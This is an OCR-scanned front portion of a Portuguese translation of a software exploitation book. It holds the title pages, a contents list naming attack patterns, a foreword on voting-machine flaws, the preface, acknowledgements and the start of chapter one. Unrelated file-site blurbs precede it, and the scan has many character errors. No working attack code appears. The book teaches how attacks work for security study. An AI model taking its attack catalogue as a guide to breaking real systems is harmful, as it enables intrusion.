Descrição: Livro completo sobre a ciência e a arte de navegar.
Descrição: Apostila
asdasdasDescrição completa
Descrição: Segunda parte do livro mais completo sobre navegação já editado no Brasil.
Descripción completa
O cristao é alguem cuja imaginação deve voar alem das estrelas.
O cristao é alguem cuja imaginação deve voar alem das estrelas.
capítulosFull description
Seguramente te ha pasado que conectas tu memoria USB en una PC de la universidad, amigo, u cualquier otra computadora y de repente te das con la sorpresa que la memoria se ha infectado de vi…Descripción completa
Descrição completa
Descripción: Marchas y contramarchas del crecimiento en la adolescencia
Full description
Método Iyengar.Descripción completa
Descripción completa
Descrição completa
"E difi(!;il se proteger sem saber o que voce vai ter de enfrentar.
Este livro tern os detalhes que voce precisa conhecer sabre como invasores detectam furos no software e criam programas para explora-los - detalhes que o ajudarao a proteger seus pr6prios sistemas."
-
Ed Fe
Ph .D., professor de ciencia da computayao, Princeton University
A ARTE DE EXPLORAR (E PROTEGER) SOFTWARE
GHfG HOGLUHD • GAHV McGHAUJ Apresenta~ao
de Aviel D. Rubin
Como quebrar c6digos A arte de explorar (e proteger) software
Como quebrar c6digos A arte de explorar (e proteger) software Greg Hoglund Gary McGraw
Tradufao Docware Tradu~oes Tecnicas
Revisao tecnica Luiz Gustavo C. Barbato M.Sc., Ph.D. candidate (LACIINPE)
Sao Paulo Brasil Argentina Colombia Costa Rica Chile Espanha Guatemala Mexico Peru Porto Rico Venezuela
aurorizada a partir da edi~iio original em ingles, publicada pela Pearson Education, Inc., sob o selo Addison-Wesley. Todos os direitos reservados. Nenhuma parte desra publica~iio podera ser reproduzida ou transmitida de qualquer modo ou por qualquer outro meio, elerronico ou mecanico, incluindo fotoc6pia , grava<;iio ou qualquer outro tipo de sistema de armazenamento e transmissiio de iJlforma<;iio, sem previa autoriza<;iio, por escrito, da Pearson Education do Brasil. Gerente Editorial: Roger Trimer Gercntc de ProdufiiO: Heber Lisboa Capa: Marcelo da Silva Fran'
Dados lnternacionais de Cataloga~ao na Publica~ao (CIP) (Camara Brasileira do Livro, SP, Brasil) Hoglund, Greg Como quebrar c6digos : a arte de explorar (e proteger) software I Greg Hoglund, Gary Macgraw ; rradU<;ao Docware Tradu~oes Tecnicas ; revisao tt~cnica Luiz Gustavo C. Barbaco. - Sao Paulo : Pearson Makran Books, 2006. Titulo original: .Exploiting software: how to break code. Bibliografia. ISBN 85-346-1546-2 1. Computadores - Seguran<;a 2. Hackers de computador 3. Software Prote<;ao 4. Software de computador - Testes I. McGraw, Gary. II. Titulo.
05-5384
CDD-005.8
indices para canilogo sistematico: 1. Computadores : Software : Seguranc;a : Ciencia da computa'
2006 Direitos exclusivos para a lingua portuguesa cedidos a Pearson Education do Brasil, uma empresa do grupo Pearson Education Av. Ermano Marchetti,1435 CEP: 05038-001 -Sao Paulo-SP Tel.: (11) 3613-1222- Fax: (11) 3611-0444 e-mail: [email protected]
Em memoria de Nancy Simone McGraw
(1939-2003 ).
Pagina em branco
Sumario
Padroes de ataque Apresenta~ao
Prefacio
xiii
xvii
Agradedmentos 1
xi
xxi
Software - a raiz do problema
1
Uma breve hist6ria do software 2 9 0 software defeituoso e onipresente A trindade problematica 12 21 0 futuro do software 0 que e seguran~a de software? 29 Conclusao 31 2
Padroes de ataque
33
Uma taxonomia 34 Uma visao dos sistemas abertos 37 42 Um passeio por uma explora<;ao 49 Padroes de ataque: Plantas para o desastre Exemplo de explora<;ao: 0 compilador C++ da Microsoft quebrado Aplicando os padroes de ataque 58 62 Caixas de padrao de ataque Conclusao 62 3
Engenharia reversa e entendimento do programa
No terreno da l6gica 63 A engenharia reversa deveria ser ilegal? 67 Ferramentas de engenharia reversa e conceitos
68
63
51
Sumario
V11l
As abordagens da engenharia reversa 70 Metodos do reversor 75 82 Escrevendo plugins para o IDA (Interactive Disassembler) Descompilando e desassembando software 94 Descompila~ao na pnitica: Revertendo helpctr.exe 95 Auditoria automatica em massa de vulnerabilidades 100 Escrevendo suas pr6prias ferramentas de cracking 109 Criando uma ferramenta basica de cobert ura de c6digo 126 Conclusao 131 4
Explorando software servldor
133
0 problema da entrada confiavel 134 136 0 problema de elevac;ao de privilegios Descobrindo os pontos de injec;ao 139 141 Rastreamento de caminhos de entrada Explorando a confianc;a via configuracrao 146 Tecnicas especfficas e ataques contra software servidor Conclusao 180 5
A arte de
explora~ao
de software cllente
181
Programas client-side como alvos de ataque 181 Sinais in-band 184 Cross-site Scripting (XSS) 190 Scripts clientes e c6digo malicioso 195 Ataques baseados no conteudo 206 Ataques retroativos: Buffer overflows no cliente 207 Conclusao 208 6
Crlando entradas (mallclosas)
209
0 dilema do defensor 211 (Nao) Detecc;ao de invasao 213 Analise de partic;ao 217 Rastreamento de c6digo 219 Engenharia reversa do c6digo do parser 228 232 Exemplo: Revertendo o I-Planet Server 6.0 Classificac;ao incorreta 237 Criando solicitac;oes "equivalentes" 238 Envenenamento de auditoria 247 Conclusao 248
151
.
Sumario
7
lX
Buffer overflow
249
Prindpios basicos do buffer overflow 249 Vetores de injecrao: A entrada vence novamente 252 Buffer overflows e sistemas embarcados 258 Buffer overflows em banco de dados 260 Buffer overflows e Java?! 262 Buffer overflow baseado no conteudo 264 Truncamento de auditoria e filtros com buffer overflow 266 Causando overflow com variaveis de ambiente 267 0 problema de operacroes multiplas 268 Localizando buffer overflows potenciais 268 Stack overflow 270 Erros arimeticos no gerenciamento de memoria 276 Vulnerabilidades das strings de formato 285 Heap Overflows 292 Buffer overflows e C++ 296 Payloads 296 Payloads em arquiteturas RISC 303 Payload multiplataforma 322 C6digo de pr61ogo/epllogo para p.roteger as funcroes 324 Conclusao 330 8
Rootklts
331
Programas subversives 331 Urn rootkit de kernel simples para o Windows XP Interceptas:oes de chamadas 343 Redirecionamento execuravel troiano 348 Ocultando arquivos e diret6rios 354 Modificando o c6digo binario 356 0 vfrus de hardware 369 Acesso de baixo nfvel ao disco 388 389 Adicionando suporte de rede a urn driver Interrupcroes 397 Key logging 401 T6picos avan~ados em rootkit 403 Conclusao 404 Referencias ,
lndice
407
405
333
Pagina em branco
Padroes de ata ue
• Torne o cliente invisivel 136 • Programas que gravam em recursos privilegiados do SO 138 • Utilize um arquivo de configurat;ao fornecido pelo usuario para executar comandos que elevam privilegios 139 • Utilize caminhos de pesquisa de arquivos de configurat;ao 141 • Acesso direto a arquivos executdveis 146 • Inc01-pomndo scripts dentm de scripts 148 • Explorando c6digo executdvel em arquivos nao-executdveis 149· • Injet;ao de argumento 152 • Delimitadores de comando 15S • MtUtiplos parsers e escapes duplos 158 • Varidvel fornecida pelo usudrio passada para as chamadas do sistema de arquivos 167 • Term.inador NULL p6s-fixado 168 • P6s-fixado, terminat;ao NULL e barras invertidas 169 • Percurso de caminho relativo (relative path traversal) 169 • Varidveis de ambiente controladas pelo cliente 171 • Varidveis globais fornecidas pelo usudrio (DEBUG=l, globais no PHP etc.) 172 • ID de sessao, ID do recurso e confiant;a cega 174 • Sinais de comutat;ao in-band anal6gica (conhecida como "Blueboxing") 184 • Manipulando dispositivos de terminal 189 • lnjet;ao de script simples 192 • Incorporando scripts em elementos nao-script 193 • XSS em cabet;alhos HTTP 193 • Strings de consulta de HTTP 194 • Nome de arquivo controlado pelo usudrio 194 • Passando nomes de arquivos locais a funt;oes que esperam um URL 202
..
Padri5es de ataque
xu
• •
Metacaracteres no cabefttlho de e-mail 203 lnje~ao de fun~oes de sistema de arquivos baseada no conteudo
206 • • • • • • • • • • • • • • • • • • • • • •
Inje~ao
no client-side, buffer overflow 207 Causar a classifica~ao incorreta do servidor Web 23 8 Codifica~ao alternativa dos caracteres iniciais fantasmas 241 Utilizando barras na codificayao alternativa 242 Utilizando barras de escape na codifica~ao alternativa 243 Codifica~ao Unicode 244 Codificafao UTF-8 245 Codifica~o URL 245 Endere~os IP alternativos 246 Barras e codifica~ao URL combinadas 247 Logs web 247 Overflow de arquivo de recurso bindrio 264 Overflow de varidveis e tags 264 Overflow de links simb6licos 265 Conversao MIME 265 Cookies HTTP 265 Falha de filtro por buffer overflow 266 Buffer overflow com varidveis de ambiente 267 Buffer ove1'(low em uma chamada API 267 Buffer overflow nos utilitdrios de linha de comando locais 268 Expansao de parflmetro 268 Overflow de formato de string em sys7og() 291
N
o infcio de julho de 2003, recebi uma liga<;ao de David Dill, um professor de Ciencia da Computa<;ao, na Stanford University. Dill me informou que o c6digo-fonte de uma urna eletronica produzida pela Diebold Election Systems, um dos principais fornecedores, vazou na Internet e que talvez valesse a pena examinar as suas vulnerabilidades de seguran<;a. Essa era uma oportunidade rara, porque fabricantes de sistema de vota<;ao tern sido muito rigorosos com seus c6digos "proprietaries", isto e, patenteados. 0 que descobrimos era assustador: Os defeitos de codifica<;ao e seguran<;a eram tao recorrentes que urn ataque talvez tenha sido adiado porque o invasor provavelmente tenha ficado indeciso tenrando escolher entre todas as diferentes vulnerabilidades para explorar, sem saber por onde come<;ar primeiro. (Tais taticas de adiamento nao sao recomendadas como estrategia de seguran<;a.) Havia longos e complexos trechos de c6digo sem comentarios. Havia uma unica chave estatica embutida no c6digo para criptografar a contagem de votos. Foram utilizados geradores pseudo-randomicos de numeros e checksums nao-criptograficos. E a inspe<;ao dos logs de CVS revelou urn processo de gerenciamento de c6digo-fonte aparentemente ad hoc e arbitrario. E entao havia os defeitos graves. 0 exemplo da urna eletronica da Diebold foi urn incidente isolado de controle de qualidade ruim? Nao penso assim. Muitas empresas como a Diebold sao bastante pressionadas para lan<;ar seus produtos no mercado antes da concorrencia. Vence a empresa com o melhor sistema funcionalmente correto. Esse modelo de incentivo premia a empresa que lan<;a no mercado o produto com mais recursos primeiro, nao aquela com o software mais seguro. Implementar direito a seguran<;a e muito difkil e o resultado nem sempre eevidente. A Diebold estava sem sorte: Seu c6digo foi examinado em urn forum publico e demonstrou estar completamente quebrado. A maioria de empresas sente-se relativamente segura ao supor que analistas independentes somente terao acesso a seus c6digos mediante acordos rigorosos de nao-divulga<;ao. Somente quando sao atiradas na fogueira e que as empresas prestam aten<;ao a seguran<;a garantida. 0 c6digo da uma eletronica da Diebold nao foi o primeiro sistema altamente complexo que eu vi cheio de defeitos de seguran<;a. Por que e tao diffcil. produzir urn software seguro?
.
xw
Apresentayao
A resposta e simples: complexidade. Qualquer pessoa que ja tenha programado sabe que ha uma quantidade ilimitada de escolhas ao escrever codigos. Uma escolha importante e que linguagem de programa~ao utilizar. Voce quer algo que permita a flexibilidade da aritmetica de ponteiro e as oportunidades permitidas por ela de otimiza~ao manual de desempenho, ou quer uma linguagem type-safe (fortemente tipada), que evita buffer overflows, mas perde urn pouco de sua capacidade? Para cada tarefa, ha escolhas aparentemente infinitas de algoritmos, parametres e estruturas de dados a serem utilizados. Para cada bloco de codigo, ha escolhas sobre como nomear variaveis, como comentar e ate como organizar o codigo em rela~ao ao espa~o em branco em torno dele. Cada programador ediferente e provavelmente cada urn faz uma escolha diferente. Projetos de software grandes sao gravados por equipes e diferentes programadores tern de ser capazes de entender e de modificar o codigo , escrito por outros. E bastante diffcil gerenciar o proprio codigo, quanta mais no caso de software produzido por outra pessoa. Evitar vulnerabilidades graves de seguran~a no codigo resultante e urn desafio para programas com centenas de linhas de codigo. Para programas com milhoes de linhas de codigo, como os sistemas operacionais modernos, isso e impossfvel. Entretanto, sistemas grandes devem ser criados, entao nos nao podemos simplesmente desistir e dizer que escrever esses sistemas de maneira segura e impossfvel. McGraw e Hoglund fizeram urn trabalho maravilhoso ao explicar por que urn software e explonivel, de demonstrar como as explora~oes funcionam e de ensinar ao leitor como evitar escrever urn codigo exploravel. Talvez voce se pergunte se e uma boa ideia mostrar como as explora~oes funcionam, como e o caso deste livro. De fato, ha uma rela~ao de troca que os profissionais de seguran~a devem considerar, entre publicar explora~oes ou nao. Este livro assume a posi~ao correta de que unico modo de programar minimizando as vulnerabilidades de software e entender por que as vulnerabilidades existem e como invasores as exploram. Para isso, este livre e uma leitura obrigatoria para qualquer pessoa que erie qualquer ap lica~ao em rede ou sistema operacional. Como quebrar c6digos eo melhor tratamento de todos aqueles que eu vi sabre o assunto de vulnerabilidades de software. Gary McGraw e Greg Hoglund tern uma larga experiencia nesse assunto. 0 primeiro livro de McGraw, java Security, foi uma visao inovadora dos problemas de seguran~a no ambiente de tempo de execu~ao do Java e questoes de seguran~a que cercam o conceito recente de codigo move! naoconfiavel rodando em urn navegador confiavel. 0 livro posterior de McGraw, Building Secure Software, foi urn classico, demonstrando conceitos que podiam ser utilizados para evitar muitas das vulnerabilidades descritas neste livre. Hoglund tern uma vasta experiencia pratica no desenvolvimento de rootkits e implementaC!ao de defesas contra exploits. Depois de ler este livre, voce pode achar surpreendente nao o fato de que muitos sistemas distribufdos podem sofrer as a~oes de hackers, mas, sim, que muitos sistemas
Apresentat;ao
XV
ainda nao sofreram essas a~oes. A analise que fizemos de uma urna eletronica demonstrou que as vulnerabilidades de software estao por toda a nossa volta. 0 fato de que muitos sistemas ainda nao foram explorados significa apenas que no momento os invasores estao satisfeitos com as frutas dos galhos mais baixos. Isso servin1 de pouco consolo para m im da proxima vez que eu for votar e enfrentar uma urna eletronica baseada no Windows. Talvez eu simplesmente envie meu voto pelo correio, pelo menos essas inseguran<;as tecnol6gicas referentes a vota<;ao na.o sa.o baseadas em defeitos de software.
Aviel D. Rubin Professor Associado, Ciencia da Computa<;ao Diretor Tecnico, Information Security Institute Johns Hopkins University
Pagina em branco
Prefacio
seguran~a de softvvare esta ganhando for~a
A percebem que na realidade a
seguran~a
a medida que profissionais de seguran~a
de computador refere-se ao modo como o software se comporta. A publica~ao de Building Secure Software em 2001 (Viega e McGraw) desencadeou diversos livros relacionados que cristalizaram a seguran~a de software como urn campo cdtico. Os profissionais de seguran~a, desenvolvedores de software e lfderes de neg6cio ja esrao experimentando a repercussao da mensagem e estao pedindo mais. Building Secure Software (co-escrito por McGraw) destina-se a profissionais de software, de desenvolvedores a gerentes, e tern como objetivo ajudar as pessoas a desenvolverem c6digos mais seguros. Como quebrar c6digos e urn livro uti! para o mesmo publicoalvo, mas na realidade destina-se a profissionais de seguran~a interessados em aprender a localizar novos defeitos de software. Este livro deve ser de particular interesse de profissionais de seguran~a que trabalham para melhorar suas habilidades em termos de seguran~a de software, incluindo red teams e hackers eticos. Este e urn livro sobre como quebrar c6digos. Nossa inten~ao e oferecer uma visao realista das questoes tecnicas enfrentadas por profissionais de seguran~a . Este livro e dirigido diretamente para a seguran~a de software em oposi~ao a seguran<;a de rede. Como profissionais de seguran~a arcam com o problema de seguran~a de software, eles precisam entender de que maneira sistemas de software sao quebrados. As solu~oes para cada urn dos problemas discutidos em Como quebrar c6digos podem ser encontradas no livro Building Secure Software. Os dois livros sao espelhos urn do outro. Acreditamos que profissionais de seguran~a de software e de seguran~a de aplica~ao estao dispostos a conhecer a realidade. 0 problema e que abordagens simples e populares sendo alardeadas por pretenses fornecedores de "seguran~a de aplica~ao" como solu~oes -como ferramentas prontas de teste da caixa-preta - nao dao nem para o infcio. Este livro tern como objetivo ir diretamente ao cerne do problema, passando por cima de todo o modismo. Precisamos ter a no~ao real daquilo que enfrentamos. Este livro descreve exatamente isso.
xvm
Prefacio
Do que trata e ste livro Ele examina em profundidade varias exploras:oes de software do mundo real, explicando como e por que funcionam, os padroes de ataque nos quais eles sao baseados e, em alguns casos, como eles foram descobertos. No decorrer deste livro tambem sao mostradas maneiras de descobrir novas vulnerabilidades de software e como utilizalas para quebrar maquinas. 0 Capitulo 1 descreve por que o software e a raiz do problema em termos de seguran<;a de computador. Apresentamos a trindade problematica - complexidade, extensibilidade e conectividade - e descrevemos por que o problema de seguran<;a de software esta crescendo. Tambem descrevemos o futuro do software e suas implica<;6es em rela<;ao as explora<;oes de software. 0 Capitulo 2 descreve a diferens:a entre bugs de implementas:ao e defeitos arquiteturais. Discutimos o problema de segurans:a de urn sistema aberto e explicamos por que o gerenciamento de risco e a unica abordagem saudavel. Duas exploras:oes do mundo real sao apresentadas: uma bern simples e uma tecnicamente complexa. 0 destaque do Capitulo 2 e uma descri<;ao de padroes de ataque. Mostramos como os padroes de ataque se encaixam no paradigma chissico de seguran<;a de rede e descrevemos o papel que os padroes de ataque tern no restante do livro. 0 assunto do Capitulo 3 e sobre engenharia reversa. Os invasores desassemblam, descompilam e desconstroem programas para entender como estes funcionam e nao como podem ser feitos. 0 Capitulo 3 descreve tecnicas de analise de caixa-cinza comuns, incluindo a ideia de utilizar urn patch de seguran<;a como urn mapa de ataque. Discutimos o Interactive Disassembler (IDA), a ferramenta de ultima geras:ao utilizada por hackers para entender o funcionamento dos programas. Tambem discutimos em detalhe a maneira como as ferramentas reais de invasao sao criadas e utilizadas. Nos Capitulos 4, 5, 6 e 7, discutimos exemplos particulares de ataque que fernecern instancias de padroes de ataque. Esses exemplos sao marcados com urn asterisco. Os Capltulos 4 e 5 abordam os dois extremes do modelo cliente-servidor. 0 Capitulo 4 inicia onde o livro Hacking Exposed [McClure et al., 1999] para, discutindo entrada confiavel, elevas:iio de privilegio, inje~iio, rastreamento de caminho, exploras:ao de confian~a e outras tecnicas de ataque espedficas de software servidor. 0 Capitulo 5 trata de ataques de software cliente utilizando sinais in-band, cross-site scripting e c6digo m6vel. 0 problema de ataques retroativos tambem e apresentado. Ambos os capltulos sao repletos de padroes de ataque e exemplos de ataques reais. 0 Capitulo 6 trata da cria<;ao de entrada maliciosa. Ele vai bern alem dos problemaspadriio relativos a analise de parti<;iio, rastreamento de c6digo e reversao de c6digo de parser. Uma aten<;iio especial e dada a cria<;iio de solicita<;oes equivalentes utilizando tecnicas de codifica<;iio alternativa. Mais uma vez, exemplos de explora<;oes do mundo real e os padroes de ataque que os inspiram sao inteiramente destacados. 0 bode expiat6rio da seguran<;a de software, o temido buffer overflow, e o assuntO de Capitulo 7. Esse capitulo e urn tratamento alramente tecnico de ataques de
Prefacio
.
XtX
buffer overflow que desenvolve o assunto muito alem dos outros textos sobre o assunto, que apresentam apenas os princfpios basicos. Discutimos buffer overflows em sistemas embarcados, buffer overflows de banco de dados, buffer overflow direcionado contra o Java e buffer overflows baseado no conteudo. 0 Capitulo 7 tam bern descreve como localizar buffer overflows potenciais de todos os tipos, incluindo stack overflow, erros aritmeticos, vulnerabilidades de formato de strings, heap overflows, C++ vtables e trampolins de multiplos estagios. A arquitetura de payload de diversas plataformas, incluindo x86, M IPS, SPARC e PA-RISC, e abordada em detalhes. Tecnicas avan<;adas como blindagem eo uso de trampolins para driblar mecanismos de seguran<;a ineficientes tambem sao abordados. 0 Capitulo 7 inclui urn numero grande de padroes de ataque. 0 Capitulo 8 trata de rootkits- a tlltima palavra em exp l o.ra~ao de software. Isso eo que significa uma maquina ser "owned'' ("possufda"). 0 Capitulo 8 esta voltado para o c6digo de urn rootkit real do Windows XP. Abordamos ganchos de chamadas, o redirecionamento executavel, a oculta<;ao de arquivos e processos, o suporte de rede e a modifica<;a.o de c6digo bimirio. Problemas de hardware tambem sao discutidos em detalhe, incluindo tecnicas amplamente utilizadas com freqi.iencia para ocultar rootkits na EEPROM. Varios t6picos avan<;ados sobre rootkits sao mostrados no Capitulo 8. Como voce pode ver, Como quebrar c6digos cobre uma serie de riscos em software, da entrada maliciosa a rootkits escondidos. Utilizando padroes de ataque, c6digo .real e explora<;oes de exemplo, demonstramos como clareza as tecnicas que sao utilizadas diariamente contra software por hackers reais maliciosos.
Como utlllzar este livro Este livro e util para varios tipos diferentes de pessoas: administradores de rede, consultores de seguran<;a, information warriors, desenvolvedores e programadores de seguran<;a. • Se foro responsavel por uma rede repleta de software em execu<;iio, voce deve ler este livro para aprender sobre os tipos de vulnerabilidades existentes em seu sistema e como elas provavelmente irao se manifestar. • Se for urn consultor de seguran~a, voce deve ler este livro para poder, eferivamente localizar, entender e avaliar as furos de seguran~a nos sistemas dos seus clientes. • Se estiver envolvido em uma guerra de informa~oes ofensiva, voce deve utilizar este livro para aprender a penetrar nos sistemas do inimigo via software. • Se o seu ganha-pao e criar software, voce deve ler este livro para entender como invasores atacarao 0 programa criado por voce. Hoje, todos OS desenvolvedores devem ter a seguran<;a em mente. 0 conhecimento adquirido aqui clara a voce as ferramentas para um entendimento real do problema de seguran<;a de software.
Prefacio
XX
• Se voce forum programador de seguran~a que conhece c6digos, voce ira adorar este livro. 0 publico principal deste livro e 0 programador de tantes aqui para todo profissional de computa~ao.
Mas isso nao ,
seguran~a,
mas ha
li~oes
impor-
e muito perigoso?
E importante destacar que nenhuma das informa~oes que discutimos aqui e novidade para a comunidade dos hackers. Algumas dessas tecnicas sao muito antigas. Nosso objetivo real e fornecer algumas informa~oes esclarecedoras no nfvel do discurso sobre seguran~a de software. Alguns especialistas de seguran~a podem se preocupar pelo fato de que revelar as tecnicas descritas neste livro encorajara mais pessoas a experimenta-las. Talvez isso seja verdade, mas os hackers sempre tiveram melhores linhas de comunica~ao e troca de informa~oes que o pessoal do bem. Essas informa~oes precisam ser entendidas e digeridas pelos profissionais de seguran~a de modo que eles conhe~am a magnitude do problema e possam tratar dele corretamente. Pegaremos o touro pelos chifres ou enfiaremos a nossa cabe~a na areia? Talvez este livro o choque. Independentemente disso, ele ira ensina-lo.
radecimentos
E
ste livro levou um Iongo tempo para ser escrito. Muitas pessoas ajudaram, direta e indiretamente. N6s nos consideramos responsaveis por todos os erros e omissoes nele contidos, mas queremos compartilhar o credito com aqueles que tiveram influencia direta no nosso trabalho. 0 pessoal a seguir fez analises uteis aos primeiros esbo~os deste livro: Alex Antonov, Richard Bejtlich, Nishchal Bhatia, Anton Chuvakin, Greg Cummings, Marcus Leech, CC Michael, Marcus Ranum, John Steven, Walt Stoneburner, Herbert Thompson, Kartik Trivedi, Adam Younge varios criticos anonimos. Por fim, queremos expressar nossa gratidao ao pessoal gentil da Addison-Wesley, especialmente nossa editora, Karen Gettman, e a suas duas assistentes, Emily Frey e Elizabeth Zdunich. Obrigado por suportar o processo aparentemente sem fim enquanta buscavamos o caminho para concluf-lo.
Agradecimentos de Greg Primeiramente, agrade~o a minha s6cia, e agora esposa, Penny. Esse trabalho nao teria sido possfvel sem o seu apoio. Muito obrigado tambem a minha filha Kelsey! Ao Iongo do caminho, muitas pessoas dedicaram seu tempo e ofereceram seu conhecimento tecnico. Um grande obrigado a Matt Hargett por aparecer com uma ideia genial e apresentar a perspectiva hist6rica necessaria para o sucesso. Alem disso, obrigado a Shawn Bracken e Jon Gary por utilizarem minha a garagem como escrit6rio e uma porta velha como mesa de trabalho. Obrigado a Halvar Flake por lutar contra meu interesse em plugins IDA e ser um rival saudavel. Obrigado a David Aitel e a outros membros da Odd por fornecer-nos um feedback tecnico sobre tecnicas de shellcode codifica\ao baseadas no shell do sistema. Obrigado a Jamie Butler por emprestar suas habil idades excelentes relativas a rootkit, e a Jeff e Ping Moss, e a famflia BlackHat inteira. Gary McGraw foi um grande colaborador ao ajudar a fazer com que este livro fosse publicado- por serum mestre no ass unto e ao conferir a credibilidade necessaria ao projeto. Grande parte de meu conhecimento e autodidata e Gary deu ao trabalho
..
XXIl
Agradecimentos
uma estrutura academica subjacente. Gary e muito direto, nao e do tipo academico ran~oso. lsso, juntamente como seu conhecimento profundo sobre o assunto, seencaixa naturalmente com meu material tecnico. Gary e tambem urn born amigo.
Agradecimentos de Gary Mais uma vez, meu primeiro agradecimento e para a Cigital (http://www.cigital.com), que continua a ser urn Iugar excelente para trabalhar. 0 ambiente criativo e as pessoas excelentes tornam o ato de ir trabalhar diariamente urn prazer (mesmo em uma conjuntura economica pessimista). Urn obrigado especial aequipe de executivos por agiientarem o meu habito perpetuo de escrever livros: Jeff Payne, Jeff Voas, Charlie Crew e Karl Lewis. 0 escrit6rio da CTO na Cigital, que conta com pessoas de enorme talento como John Steven e Rich Mills, mantem meu raciodnio afiado. A equipe de autoiniciativa de engenharia, que inclui gente como Frank Charron, Todd McAnally e Mike Debnam, cria coisas incrfveis e coloca ideias em pratica. 0 Software Security Group (SSG) da Cigital, fundado por mim em 1999, agorae comandado habilmente por Stan Wisseman. 0 SSG continua a expandir os limites da seguran~a de software com padriio de qualidade internacional. Urn grande obrigado a Bruce Potter e Paco Hope, membros do SSG. Obrigado a Pat Higgins e Mike Firetti por manter-me ocupado danc;ando sapateado. Obrigado tambem ao Conselho Tecnico da querida Cigital. Por fim, urn obrigado especial a Yvonne Wiley, que monitora minha localizac;ao neste planeta de maneira bern competente. Sem meu co-auto1; Greg Hoglund, este livro nunca teria sido conclufdo. 0 grande talento de Greg pode ser visto em todo este trabalho. Se voce entender a linguagem tecnica deste livro, agradec;a ao Greg. Como nos meus tres livros anteriores, este livro e realmente urn esfor~o colaborativo. Meus amigos da comunidade de seguranc;a que continuam a influenciar minhas ideias sao Ross Anderson, Annie Anton, Matt Bishop, Steve Bellovin, Bill Cheswick, Crispin Cowan, Drew Dean, Jeremy Epstein, Dave Evans, Ed Felten, An up Ghosh, Li Gong, Peter Honeyman, Mike Howard, Steve Kent, Paul Kocher, Carl Landwehr, Patrick McDaniel, Greg Morrisett, Peter Neumann, Jon Pincus, Marcus Ranum, Avi Rubin, Fred Schneider, Bruce Schneier, Gene Spafford, Kevin Sullivan, Phil Venables e Dan Wallach. Obrigado a Defense Advanced Research Projects Agency (DARPA) e ao Air Force Research Laboratory (AFRL) por apoiarem meu trabalho ao Iongo dos anos. E o mais importante de tudo: obrigado a minha familia. Dedico o meu amor a Amy Barley, Jack e Eli. Gostaria de fazer um agradecimento especial a meu pai e meus irmaos - 2003 foi um ano diffcil para nos. A Hollers e Treats pela colec;ao de animais: Ike e Walnut, Soupy e seus filhotes, Craig, Sage e Guthrie, Lewy e Lucy, as "meninas", eo galo Daddy-o. Obrigado a Rhine e April pela musica, Bob e Jenn pela diversao, e Cyn e Ant por viverem no campo.
Software a ra iz do problema
E
ntao, voce quer quebrar software e deixa-lo implorando por misericordia na RAM depois de contar-lhe todos os seus segredos e chamar urn shell para voce. A invasao de uma maquina quase sempre envolve a explorac-;ao do software. Muito freqi.ientemente, a maquina nao e nem mesmo urn computador-paddio. 1 Quase todos os sistemas modernos tern o mesmo calca nhar-de-aquiles, que e o software. Este livro mostra como quebrar urn software e ensina a explorar pontos fracos do software para controlar a maquina. H:i varios livros bons sobre seguran
a
Pense na ultima vulnerabilidade de seguranva sobre a qual voce leu. Talvez seja um killer packet {"pacote assassino"] que permite que o invasor trave o servidor enviando a ele um determinado pacote. Talvez seja um dos milhoes de buffer overflows, que permitem a um invasor assumir o controle de um computador, enviando a ele uma determinada mensagem malformada. Talvez seja uma vulnerabilidade de criptografia, que permite ao invasor ler uma mensagem criptografada ou enganar um sistema de autenticayaO. Tudo isso euma questao de software. {p. xix) 1. Natura lmenre, a maioria das
explora~oes
se destina a quebrar softwares proncos que rodam em computadores comuns, utilizados por pessoas comuns em empresas comuns.
2
Como quebrar c6digos
Nos varios livros sobre seguranr;a publicados ate hoje, muito poucos enfocaram a raiz do problema - a falha de software. Exploramos o terreno selvagem da falha de software e o ensinamos a navegar por locais que nao estao nem no mapa.
Uma breve historia do software Os computadores modernos nao sao mais dispositivos desajeitados do tamanho de uma sala em que o operador tinha de entrar para fazer a manutenr;ao. Hoje, e mais provavel que os usuarios vistam computadores, em vez de entrar neles. De todos os motivadores de tecnologia criados por essa grande mudan~a, incluindo a valvula a vacuo, o transistor e o chip de silfcio, o mais importante, sem duvida, eo software. 0 software e o que faz a diferenr;a entre os computadores e as outras inovar;oes tecnol6gicas. A propria ideia de reconfigurar uma maquina para que ela fas:a uma quantidade aparentemente infinita de tarefas e forte e fascinante. A hist6ria desse conceito como ideia e mais longa que a hist6ria como urn empreendimento concreto. Durante o trabalho com a ideia do Calculador Analftico, em 1842, Charles Babbage solicitou a ajuda de Lady Ada Lovelace como tradutora. Ada, que se considerava "uma analista (e metaffsica)", entendeu tao bem quanto Babbage os pianos em relar;ao a maquina, mas era melhor em articular o potencial dela, principalmente nas notas que acrescentou ao trabalho original. Ela entendeu que a Maquina Analltica era urn tipo de computador de uso geral e que era adequado para "desenvolver [sic] e tabular qualquer tipo de funr;ao ... a Maquina Analftica [e] a expressao material de qualquer funr;ao indefinida em qualquer nlvel de generalidade e complexidade. " 2 Nesses primeiros conceitos, ela tinha compreendido o poder do software. De acordo com dicionario Webster's Collegiate, a palavra software tornou-se de uso comum em 1960: Entrada principal: soft·ware Pronuncia: 'soft- 11 war, - 11 wer Fun<;ao: substantive Data: 1960 : algo utilizado com o hardware ou associado a ele e geralmente diferenciado do hardware: como todo o conjunto de programas, procedimentos e documentar;ao associados a urn sistema e particularmente urn sistema de computador; especificamente: programas de computador _._._." Na decada de 60, o surgimento de linguagens "modernas e de alto nfvel" como Fortran, Pascal e C, permitiu que o software comer;asse a realizar operar;oes cada vez mais importantes. Os computadores comer;aram a se definir com mais clareza por meio do software que executavam do que pelo hardware em que os programas funcionavam. 2. Para obrer mais informac;oes sobre Lady Ada Lovelace, consulre http://www.sdsc.edu/ScienceWomen/ lovelace. html.
Capitulo 1
Software - a raiz do problema
3
